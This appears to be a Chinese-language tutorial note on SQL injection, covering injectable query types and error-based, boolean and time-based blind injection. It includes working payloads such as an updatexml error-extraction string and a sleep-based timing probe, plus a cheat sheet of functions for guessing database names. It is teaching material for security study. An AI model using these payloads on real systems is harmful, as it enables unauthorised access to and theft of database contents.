1. 程式人生 > 資料庫 >十六:SQL注入之查詢方式及報錯盲注

十六:SQL注入之查詢方式及報錯盲注

在很多注入時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL查詢語句有問題,這時候我們需要用到相關的報錯或者盲注進行後續操作,同時作為手工注入的時候,需要提前瞭解SQL語句能更好的選擇對應的注入語句。

select 查詢語句

查詢語句:
select * from news where id = $id 

insert 插入資料

在網站中進行新使用者增加刪除等操作
insert into news(id,url,text) values(2,'du','tutu')

delete 輸出資料

後臺進行刪除文章
delete from news where id = $id

updata 更新資料

會員後臺中心資料同步或者進行快取等操作
update user set pwd='$p' where id=2 and username = 'admin'

order by 排序資料

一般結合表名或者列名進行資料排序操作
select * from news order by $id
select id,name,price from news order by $order

SQL注入報錯盲注

盲注就是在注入過程中,獲取的資料不能回顯至前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。
盲注分為三類:

(二)基於布林的盲注-邏輯判斷

	regexp,like,ascii,left,ord,mid

(三)基於時間的盲注-延時判斷

	if,sleep
		select * from member where id = 1 and sleep(if(database()='pikuchu',5,0))
	引號可能會被轉義,所以需要加入ascii

(一)基於報錯的SQL盲注-報錯回顯

	floor,updatexml,extractvalue
		updatexml(1,concat(0x7e,database()),0)

參考:

	like 'ro%'  #判斷or 或者ro 是否成立
	regexp '^xiaodi [a-z]' #匹配xiaodi及xiaodi...等
	if(條件,5,0) #條件成立,返回5  反之 返回 0
	sleep(5) # SQL語句延時執行5秒
	mid(a,b,c) # 從位置b開始,擷取a字串的c位
	substr(a,b,c)# 從b位置開始,擷取字串a的位置
	left(database(),1) # left(a,b) 從左擷取a的前b位
	length(database())= 8 # 判斷資料庫名的長度
	ord = ascii ascii(x)= 97 # 判斷ascii碼是否等於97
	
            access猜解出了資料庫名,不知道列名,用偏移注入。